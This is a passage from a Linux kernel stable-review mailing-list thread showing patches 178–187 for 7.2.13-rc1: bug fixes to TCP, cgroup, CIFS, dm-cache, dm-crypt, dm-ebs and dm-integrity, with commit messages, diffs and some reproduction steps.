kernel dereferences or calls through the stale pointer.
BUG: KASAN: slab-use-after-free in do_tcp_getsockopt+0x2037/0x23e0
Read of size 8 at addr ffff888013701258 by task exploit/149
do_tcp_getsockopt+0x2037/0x23e0 (net/ipv4/tcp.c:4564)
tcp_getsockopt+0x91/0xf0
__sys_getsockopt+0xf7/0x170
Fix this by wrapping the ca_ops load and get_info call within
rcu_read_lock()/rcu_read_unlock(), and using READ_ONCE() to load
the icsk_ca_ops pointer.
Fixes: 0baf26b0fcd7 ("bpf: tcp: Support tcp_congestion_ops in bpf")
Suggested-by: Eric Dumazet <edumazet@google.com>
Cc: AutonomousCodeSecurity@microsoft.com
Cc: stable@vger.kernel.org
Reviewed-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
Reviewed-by: Jiayuan Chen <jiayuan.chen@linux.dev>
Reviewed-by: Matthieu Baerts (NGI0) <matttbe@kernel.org>
Link: https://patch.msgid.link/65fd3816ed5d541d9edd4bf4fcf97104a2cf907a.1787870710.git.blbllhy@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/ipv4/tcp.c | 4 +++-
net/ipv4/tcp_dctcp.c | 2 +-
2 files changed, 4 insertions(+), 2 deletions(-)
--- a/net/ipv4/tcp.c
+++ b/net/ipv4/tcp.c
@@ -4562,9 +4562,11 @@ int do_tcp_getsockopt(struct sock *sk, i
if (copy_from_sockptr(&len, optlen, sizeof(int)))
return -EFAULT;
- ca_ops = icsk->icsk_ca_ops;
+ rcu_read_lock();
+ ca_ops = READ_ONCE(icsk->icsk_ca_ops);
if (ca_ops && ca_ops->get_info)
sz = ca_ops->get_info(sk, ~0U, &attr, &info);
+ rcu_read_unlock();
len = min_t(unsigned int, len, sz);
if (copy_to_sockptr(optlen, &len, sizeof(int)))
--- a/net/ipv4/tcp_dctcp.c
+++ b/net/ipv4/tcp_dctcp.c
@@ -228,7 +228,7 @@ static size_t dctcp_get_info(struct sock
if (ext & (1 << (INET_DIAG_DCTCPINFO - 1)) ||
ext & (1 << (INET_DIAG_VEGASINFO - 1))) {
memset(&info->dctcp, 0, sizeof(info->dctcp));
- if (inet_csk(sk)->icsk_ca_ops != &dctcp_reno) {
+ if (READ_ONCE(inet_csk(sk)->icsk_ca_ops) != &dctcp_reno) {
info->dctcp.dctcp_enabled = 1;
info->dctcp.dctcp_ce_state = (u16) ca->ce_state;
info->dctcp.dctcp_alpha = ca->dctcp_alpha;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 179/242] cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (175 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 178/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO) Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 180/242] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents() Greg Kroah-Hartman
` (64 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Shakeel Butt, Etienne Perot,
Tejun Heo
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Etienne Perot <eperot@google.com>
commit 8e359920216689b3b79e0fe8961a77fe312a511f upstream.
Since commit b69bb476dee9 ("cgroup: fix race between fork and
cgroup.kill"), the fork path snapshots the kill_seq of the child's
future cgroup into kargs->kill_seq, and cgroup_post_fork() SIGKILLs
the child if that cgroup's kill_seq has changed in the meantime, to
catch forks racing with a cgroup.kill sweep.
For CLONE_INTO_CGROUP, however, the snapshot in cgroup_css_set_fork()
is taken before the target cgroup has been resolved: kargs->cgrp is
always NULL at this point (it is only set at the end of the function).
So the "if (kargs->cgrp)" branch is dead code and the snapshot always
records the kill_seq of the parent's cgroup. cgroup_post_fork() then
compares it with the kill_seq of the target cgroup, so the child gets
SIGKILLed whenever the two cgroups have been killed a different number
of times.
As a result, once cgroup.kill has been written to a cgroup, every
child subsequently cloned into it with clone3(CLONE_INTO_CGROUP) is
killed on the spot, for as long as the cgroup exists: kill_seq is not
exposed to userspace and never resets.
Re-snapshot kill_seq from the target cgroup once it has been resolved,
and drop the dead branch at the early snapshot site.
This does not reopen the race fixed by b69bb476dee9. For
CLONE_INTO_CGROUP, everything from the snapshot to the check in
cgroup_post_fork() runs with cgroup_mutex held, and kill_seq is
only ever incremented under cgroup_mutex.
tj: Updated the comment above kill_seq to reflect the new serialization
rules as suggested by Shakeel Butt.
Fixes: b69bb476dee9 ("cgroup: fix race between fork and cgroup.kill")
Cc: stable@vger.kernel.org
Cc: Shakeel Butt <shakeel.butt@linux.dev>
Assisted-by: LLM
Signed-off-by: Etienne Perot <eperot@google.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/linux/cgroup-defs.h | 5 ++++-
kernel/cgroup/cgroup.c | 6 ++----
2 files changed, 6 insertions(+), 5 deletions(-)
--- a/include/linux/cgroup-defs.h
+++ b/include/linux/cgroup-defs.h
@@ -527,7 +527,10 @@ struct cgroup {
int nr_threaded_children; /* # of live threaded child cgroups */
- /* sequence number for cgroup.kill, serialized by css_set_lock. */
+ /*
+ * Sequence number for cgroup.kill. Incremented with both cgroup_mutex
+ * and css_set_lock held. Readers hold either one.
+ */
unsigned int kill_seq;
struct kernfs_node *kn; /* cgroup kernfs entry */
--- a/kernel/cgroup/cgroup.c
+++ b/kernel/cgroup/cgroup.c
@@ -6801,10 +6801,7 @@ static int cgroup_css_set_fork(struct ke
spin_lock_irq(&css_set_lock);
cset = task_css_set(current);
get_css_set(cset);
- if (kargs->cgrp)
- kargs->kill_seq = kargs->cgrp->kill_seq;
- else
- kargs->kill_seq = cset->dfl_cgrp->kill_seq;
+ kargs->kill_seq = cset->dfl_cgrp->kill_seq;
spin_unlock_irq(&css_set_lock);
if (!(kargs->flags & CLONE_INTO_CGROUP)) {
@@ -6868,6 +6865,7 @@ static int cgroup_css_set_fork(struct ke
put_css_set(cset);
kargs->cgrp = dst_cgrp;
+ kargs->kill_seq = dst_cgrp->kill_seq;
return ret;
err:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 180/242] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (176 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 179/242] cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 181/242] cifs: dont update i_size in cifs_do_truncate without a cached handle Greg Kroah-Hartman
` (63 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Frank Sorenson, Paulo Alcantara
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Frank Sorenson <sorenson@redhat.com>
commit 53676a5e28231186c9f56d87b7998b640699bc15 upstream.
smb2_duplicate_extents() has no handling for
FSCTL_DUPLICATE_EXTENTS_TO_FILE failure: when the FSCTL fails, local
inode metadata may be stale from the pre-extension or from concurrent
remote writes, but is never refreshed.
Force revalidation on FSCTL failure and use i_size_read() for the
pre-extension check.
Fixes: cfc63fc8126a ("smb3: fix cached file size problems in duplicate extents (reflink)")
Cc: stable@vger.kernel.org
Signed-off-by: Frank Sorenson <sorenson@redhat.com>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/smb2ops.c | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
--- a/fs/smb/client/smb2ops.c
+++ b/fs/smb/client/smb2ops.c
@@ -2305,7 +2305,7 @@ smb2_duplicate_extents(const unsigned in
trgtfile->fid.volatile_fid, tcon->tid,
tcon->ses->Suid, src_off, dest_off, len);
inode = d_inode(trgtfile->dentry);
- if (inode->i_size < dest_off + len) {
+ if (i_size_read(inode) < dest_off + len) {
rc = smb2_set_file_size(xid, tcon, trgtfile, dest_off + len, false);
if (rc)
goto duplicate_extents_out;
@@ -2322,7 +2322,10 @@ smb2_duplicate_extents(const unsigned in
if (ret_data_len > 0)
cifs_dbg(FYI, "Non-zero response length in duplicate extents\n");
- if (rc == 0) {
+ if (rc) {
+ CIFS_I(inode)->time = 0; /* force reval */
+ cifs_invalidate_cache(inode, 0);
+ } else {
qrc = SMB2_query_info(xid, tcon, trgtfile->fid.persistent_fid,
trgtfile->fid.volatile_fid, &file_inf);
spin_lock(&inode->i_lock);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 181/242] cifs: dont update i_size in cifs_do_truncate without a cached handle
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (177 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 180/242] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents() Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 182/242] dm cache: fix demotion stats in passthrough mode Greg Kroah-Hartman
` (62 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Sorenson, David Howells,
Paulo Alcantara
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Frank Sorenson <sorenson@redhat.com>
commit fe39cd9d48f2346605f3746e0cc19e89d5f373eb upstream.
If find_writable_file() returns null, cifs_file_flush will return
0 without issuing set_file_size, and the outer 'if (!rc)' block
will set i_size to 0 before telling the server to truncate. If
the cifs_open() then fails, the inode will have size 0, while
the server file is unchanged.
Move the netfs_resize_file() and cifs_setsize() into the 'if
(cfile)', so they only run after a successful set_file_size.
In the no-handle else branch, evict stale pages with
truncate_inode_pages before the O_TRUNC open to dispose of old
cache pages, and let the open response set the i_size.
Fixes: 110fee6b9bb5 ("smb: client: fix missing timestamp updates with O_TRUNC")
Cc: stable@vger.kernel.org
Signed-off-by: Frank Sorenson <sorenson@redhat.com>
Acked-by: David Howells <dhowells@redhat.com>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/file.c | 24 ++++++++++++++++++++----
1 file changed, 20 insertions(+), 4 deletions(-)
--- a/fs/smb/client/file.c
+++ b/fs/smb/client/file.c
@@ -1012,10 +1012,26 @@ static int cifs_do_truncate(const unsign
server = tcon->ses->server;
rc = server->ops->set_file_size(xid, tcon,
cfile, 0, false);
- }
- if (!rc) {
- netfs_resize_file(&cinode->netfs, 0, true);
- cifs_setsize(inode, 0);
+ if (!rc) {
+ inode_lock(inode);
+ filemap_invalidate_lock(inode->i_mapping);
+ netfs_resize_file(&cinode->netfs, 0, true);
+ cifs_setsize(inode, 0);
+ filemap_invalidate_unlock(inode->i_mapping);
+ inode_unlock(inode);
+ cifs_invalidate_cache(inode, 0);
+ }
+ } else {
+ /*
+ * No cached handle; evict stale pages so they can't
+ * be served after the file is later extended; let
+ * the server's O_TRUNC open response set the i_size
+ */
+ inode_lock(inode);
+ filemap_invalidate_lock(inode->i_mapping);
+ truncate_inode_pages(inode->i_mapping, 0);
+ filemap_invalidate_unlock(inode->i_mapping);
+ inode_unlock(inode);
cifs_invalidate_cache(inode, 0);
}
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 182/242] dm cache: fix demotion stats in passthrough mode
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (178 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 181/242] cifs: dont update i_size in cifs_do_truncate without a cached handle Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 183/242] dm cache: fix issue with background work locking Greg Kroah-Hartman
` (61 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ben Marzinski, Ming-Hung Tsai,
Mikulas Patocka
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ming-Hung Tsai <mtsai@redhat.com>
commit 2ccb8878c149443c6acf628b438c9c942c20abb2 upstream.
The demotion counter is incremented per incoming write bio before the
invalidation begins, causing the demotion count to exceed the actual
number of cached blocks when multiple bios target the same cached
block. Additionally, the counter is incremented unconditionally
regardless of invalidation failure.
Reproduce steps:
1. Create a cache device consisting of 512 cache entries
modprobe brd rd_size=262144
dmsetup create cmeta --table "0 8192 linear /dev/ram0 0"
dmsetup create cdata --table "0 65536 linear /dev/ram0 8192"
dmsetup create corig --table "0 65536 linear /dev/ram0 262144"
dd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 oflag=direct
dmsetup create cache --table "0 65536 cache /dev/mapper/cmeta \
/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"
2. Populate the cache, and record the number of cached blocks
fio --name=populate --filename=/dev/mapper/cache --rw=randwrite --bs=4k \
--direct=1 --ioengine=libaio --iodepth=32 --io_size=2048m
nr_cached=$(dmsetup status cache | awk '{split($7, a, "/"); print a[1]}')
3. Reload the cache into passthrough mode
dmsetup suspend cache
dmsetup reload cache --table "0 65536 cache /dev/mapper/cmeta \
/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 passthrough smq 0"
dmsetup resume cache
4. Write to the passthrough cache with multiple jobs to trigger
multiple bios hitting the same cached block.
fio --filename=/dev/mapper/cache --name=test --rw=write --bs=4k \
--direct=1 --ioengine=libaio --iodepth=32 --numjobs=4
5. Check if demoted matches cached block count. These numbers should
match but may differ due to overcounting per bio.
nr_demoted=$(dmsetup status cache | awk '{print $12}')
echo "$nr_cached, $nr_demoted"
Fix by moving the demotion counter increment into invalidate_complete(),
gated on the success flag.
Reported-by: Ben Marzinski <bmarzins@redhat.com>
Fixes: b29d4986d0da ("dm cache: significant rework to leverage dm-bio-prison-v2")
Cc: stable@vger.kernel.org
Signed-off-by: Ming-Hung Tsai <mtsai@redhat.com>
Reviewed-by: Benjamin Marzinski <bmarzins@redhat.com>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-cache-target.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
--- a/drivers/md/dm-cache-target.c
+++ b/drivers/md/dm-cache-target.c
@@ -1461,6 +1461,9 @@ static void invalidate_complete(struct d
struct bio_list bios;
struct cache *cache = mg->cache;
+ if (success)
+ atomic_inc(&cache->stats.demotion);
+
bio_list_init(&bios);
if (mg->cell) {
if (dm_cell_unlock_v2(cache->prison, mg->cell, &bios))
@@ -1732,7 +1735,6 @@ static int map_bio(struct cache *cache,
if (passthrough_mode(cache)) {
if (bio_data_dir(bio) == WRITE) {
bio_drop_shared_lock(cache, bio);
- atomic_inc(&cache->stats.demotion);
invalidate_start(cache, cblock, block, bio);
return DM_MAPIO_SUBMITTED;
} else
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 183/242] dm cache: fix issue with background work locking
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (179 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 182/242] dm cache: fix demotion stats in passthrough mode Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 184/242] dm-crypt: fix a tiny race condition in crypt_dec_pending Greg Kroah-Hartman
` (60 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Benjamin Marzinski, Matthew Sakai,
Ming-Hung Tsai, Mikulas Patocka
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Benjamin Marzinski <bmarzins@redhat.com>
commit bc9781c0247de107876f32929f1637db93a42b34 upstream.
dm cache used a rw_semaphore for background_work_lock. Write locks on
rw_semaphores have strict owner semantics, but there was no guarantee
that the process that locked background_work_lock was the same process
that unlocked it. This can be easily seen using a kernel compiled with
CONFIG_DEBUG_RWSEMS. Given a dm cache device <cache>, run: 'dmsetup
suspend <cache> && dmsetup resume <cache>'. This will trigger a kernel
warning:
DEBUG_RWSEMS_WARN_ON((rwsem_owner(sem) != current) && !rwsem_test_oflags(sem, RWSEM_NONSPINNABLE))
triggered by cache_resume(). To fix this, switch from a rw_semaphore to
a spinlock and a wait queue. dm cache already has a wait queue and
associated counter, migration_wait and nr_allocated_migrations, that was
getting woken up when background work was getting completed, but wasn't
actually used by anything. This is replaced by the background_work queue
and counter.
Fixes: b29d4986d0da ("dm cache: significant rework to leverage dm-bio-prison-v2")
Cc: stable@vger.kernel.org
Signed-off-by: Benjamin Marzinski <bmarzins@redhat.com>
Reviewed-by: Matthew Sakai <msakai@redhat.com>
Reviewed-by: Ming-Hung Tsai <mtsai@redhat.com>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-cache-target.c | 55 +++++++++++++++++++++----------------------
1 file changed, 28 insertions(+), 27 deletions(-)
--- a/drivers/md/dm-cache-target.c
+++ b/drivers/md/dm-cache-target.c
@@ -339,8 +339,6 @@ struct cache {
struct list_head invalidation_requests;
sector_t migration_threshold;
- wait_queue_head_t migration_wait;
- atomic_t nr_allocated_migrations;
/*
* The number of in flight migrations that are performing
@@ -396,7 +394,11 @@ struct cache {
bool loaded_mappings:1;
bool loaded_discards:1;
- struct rw_semaphore background_work_lock;
+ /* background work management */
+ bool background_work_allowed;
+ unsigned background_work_nr;
+ spinlock_t background_work_lock;
+ wait_queue_head_t background_work_wait;
struct batcher committer;
struct work_struct commit_ws;
@@ -487,19 +489,13 @@ static struct dm_cache_migration *alloc_
memset(mg, 0, sizeof(*mg));
mg->cache = cache;
- atomic_inc(&cache->nr_allocated_migrations);
return mg;
}
static void free_migration(struct dm_cache_migration *mg)
{
- struct cache *cache = mg->cache;
-
- if (atomic_dec_and_test(&cache->nr_allocated_migrations))
- wake_up(&cache->migration_wait);
-
- mempool_free(mg, &cache->migration_pool);
+ mempool_free(mg, &mg->cache->migration_pool);
}
/*----------------------------------------------------------------*/
@@ -1029,34 +1025,39 @@ static void calc_discard_block_range(str
static void prevent_background_work(struct cache *cache)
{
- lockdep_off();
- down_write(&cache->background_work_lock);
- lockdep_on();
+ spin_lock_irq(&cache->background_work_lock);
+ cache->background_work_allowed = false;
+ wait_event_lock_irq(cache->background_work_wait,
+ cache->background_work_nr == 0,
+ cache->background_work_lock);
+ spin_unlock_irq(&cache->background_work_lock);
}
static void allow_background_work(struct cache *cache)
{
- lockdep_off();
- up_write(&cache->background_work_lock);
- lockdep_on();
+ spin_lock_irq(&cache->background_work_lock);
+ cache->background_work_allowed = true;
+ spin_unlock_irq(&cache->background_work_lock);
}
static bool background_work_begin(struct cache *cache)
{
bool r;
- lockdep_off();
- r = down_read_trylock(&cache->background_work_lock);
- lockdep_on();
-
+ spin_lock_irq(&cache->background_work_lock);
+ r = cache->background_work_allowed;
+ if (r)
+ cache->background_work_nr++;
+ spin_unlock_irq(&cache->background_work_lock);
return r;
}
static void background_work_end(struct cache *cache)
{
- lockdep_off();
- up_read(&cache->background_work_lock);
- lockdep_on();
+ spin_lock_irq(&cache->background_work_lock);
+ if (--cache->background_work_nr == 0)
+ wake_up(&cache->background_work_wait);
+ spin_unlock_irq(&cache->background_work_lock);
}
/*----------------------------------------------------------------*/
@@ -2508,9 +2509,7 @@ static int cache_create(struct cache_arg
spin_lock_init(&cache->lock);
bio_list_init(&cache->deferred_bios);
- atomic_set(&cache->nr_allocated_migrations, 0);
atomic_set(&cache->nr_io_migrations, 0);
- init_waitqueue_head(&cache->migration_wait);
r = -ENOMEM;
atomic_set(&cache->nr_dirty, 0);
@@ -2593,8 +2592,10 @@ static int cache_create(struct cache_arg
issue_op, cache, cache->wq);
dm_iot_init(&cache->tracker);
- init_rwsem(&cache->background_work_lock);
- prevent_background_work(cache);
+ init_waitqueue_head(&cache->background_work_wait);
+ spin_lock_init(&cache->background_work_lock);
+ cache->background_work_allowed = false;
+ cache->background_work_nr = 0;
*result = cache;
return 0;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 184/242] dm-crypt: fix a tiny race condition in crypt_dec_pending
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (180 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 183/242] dm cache: fix issue with background work locking Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 185/242] dm-ebs: fix incorrect device offset check in ebs_ctr() Greg Kroah-Hartman
` (59 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jose Fernandez (Anthropic),
Ben Cressey, Mikulas Patocka
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ben Cressey <ben@cressey.dev>
commit 148845aa1921d95ef5dc851c76e6a284f6657df6 upstream.
crypt_dec_pending reads io->error before calling atomic_dec_and_test.
Another context, for example crypt_endio called from an interrupt, may
set io->error and drop its reference between the read and the
decrement. crypt_dec_pending then drops the last reference and completes
the bio with the stale status - so a read that failed and was never
decrypted, or a write that failed, is reported as successful.
The read was placed before the decrement by commit b35f8caa0890 ("dm
crypt: wait for endio to complete before destruction"), because that
commit freed dm_crypt_io before calling bio_endio. This is no longer the
case, dm_crypt_io lives in the per-bio data now.
Read io->error after atomic_dec_and_test instead. atomic_dec_and_test is
fully ordered, so no additional barrier is needed.
Fixes: b35f8caa0890 ("dm crypt: wait for endio to complete before destruction")
Cc: stable@vger.kernel.org
Reviewed-by: Jose Fernandez (Anthropic) <jose.fernandez@linux.dev>
Signed-off-by: Ben Cressey <ben@cressey.dev>
Assisted-by: Claude:unspecified
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-crypt.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/drivers/md/dm-crypt.c
+++ b/drivers/md/dm-crypt.c
@@ -1745,7 +1745,6 @@ static void crypt_dec_pending(struct dm_
{
struct crypt_config *cc = io->cc;
struct bio *base_bio = io->base_bio;
- blk_status_t error = io->error;
if (!atomic_dec_and_test(&io->io_pending))
return;
@@ -1767,7 +1766,7 @@ static void crypt_dec_pending(struct dm_
else
kfree(io->integrity_metadata);
- base_bio->bi_status = error;
+ base_bio->bi_status = io->error;
bio_endio(base_bio);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 185/242] dm-ebs: fix incorrect device offset check in ebs_ctr()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (181 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 184/242] dm-crypt: fix a tiny race condition in crypt_dec_pending Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 186/242] dm-integrity: fix infinite loop on discard with large tag size Greg Kroah-Hartman
` (58 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Genjian Zhang, Mikulas Patocka
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Genjian Zhang <zhanggenjian@kylinos.cn>
commit 7ac81e2d2240f2c57bd073b0733e0b2abca38e82 upstream.
<offset> is a backing-device sector offset; ti->len is the virtual
target length. Comparing them rejects valid tables, e.g.:
dmsetup create ebs0 --table "0 1048576 ebs /dev/sda 2097152 1 8"
-> ebs: Invalid device offset sector (-EINVAL)
Drop the check. Bounds against the backing device are already
enforced later by device_area_is_invalid() via ebs_iterate_devices().
Cc: stable@vger.kernel.org
Fixes: d3c7b35c20d6 ("dm: add emulated block size target")
Signed-off-by: Genjian Zhang <zhanggenjian@kylinos.cn>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-ebs-target.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
--- a/drivers/md/dm-ebs-target.c
+++ b/drivers/md/dm-ebs-target.c
@@ -265,8 +265,7 @@ static int ebs_ctr(struct dm_target *ti,
r = -EINVAL;
if (sscanf(argv[1], "%llu%c", &tmp, &dummy) != 1 ||
- tmp != (sector_t)tmp ||
- (sector_t)tmp >= ti->len) {
+ tmp != (sector_t)tmp) {
ti->error = "Invalid device offset sector";
goto bad;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 186/242] dm-integrity: fix infinite loop on discard with large tag size
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (182 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 185/242] dm-ebs: fix incorrect device offset check in ebs_ctr() Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 187/242] dm-integrity: require stable writes for internal hash modes Greg Kroah-Hartman
` (57 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jose Fernandez (Anthropic),
Ben Cressey, Mikulas Patocka
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ben Cressey <ben@cressey.dev>
commit 18d80c77b4c7dd20699e81cedfbbff4e9d198f28 upstream.
When integrity_metadata handles a discard, it fills a buffer with
DISCARD_FILLER and writes it over the tags, max_blocks blocks at a
time. If the kmalloc fails, the buffer is the on-stack array
checksums_onstack and max_size is set to HASH_MAX_DIGESTSIZE. So if the
tag size is larger than HASH_MAX_DIGESTSIZE, max_blocks is zero, bi_size
is never decremented and the loop never terminates.
Fix this by using sizeof(checksums_onstack) as max_size. The array has
MAX_TAG_SIZE bytes since commit b93b6643e9b5 ("dm integrity: fix a
crash with unusually large tag size"), so max_blocks is at least 1.
Fixes: 84597a44a9d8 ("dm integrity: add optional discard support")
Cc: stable@vger.kernel.org
Reviewed-by: Jose Fernandez (Anthropic) <jose.fernandez@linux.dev>
Signed-off-by: Ben Cressey <ben@cressey.dev>
Assisted-by: Claude:unspecified
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-integrity.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/md/dm-integrity.c
+++ b/drivers/md/dm-integrity.c
@@ -1980,7 +1980,7 @@ static void integrity_metadata(struct wo
if (unlikely(dio->op == REQ_OP_DISCARD)) {
unsigned int bi_size = dio->bio_details.bi_iter.bi_size;
- unsigned int max_size = likely(checksums != checksums_onstack) ? PAGE_SIZE : HASH_MAX_DIGESTSIZE;
+ unsigned int max_size = likely(checksums != checksums_onstack) ? PAGE_SIZE : sizeof(checksums_onstack);
unsigned int max_blocks = (max_size - extra_space) / ic->tag_size;
sector_t sector = dio->range.logical_sector;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 187/242] dm-integrity: require stable writes for internal hash modes
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (183 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 186/242] dm-integrity: fix infinite loop on discard with large tag size Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 188/242] mac802154: fix data race and NULL deref on local->assoc_dev Greg Kroah-Hartman
` (56 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sun Yangkai, Chen Cheng,
Mikulas Patocka
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chen Cheng <chencheng@fnnas.com>
commit b2fd92f016e9d692fd3c8c08d0ee014e9212279d upstream.
dm-integrity direct, bitmap and inline internal-hash modes compute
integrity tags from the pages carried by the write bio. The lower data
write also uses those pages, so the tag and the data write depend on the
same memory contents staying unchanged while writeback is in flight.
Without stable writes, a buffered writer can modify a writeback folio
after dm-integrity has submitted the data bio and before the lower device
has consumed the data. After a crash, this can leave data from the later
contents with a tag calculated from the earlier contents, causing
permanent checksum failures on read.
Set BLK_FEAT_STABLE_WRITES for internal-hash D, B and I modes so
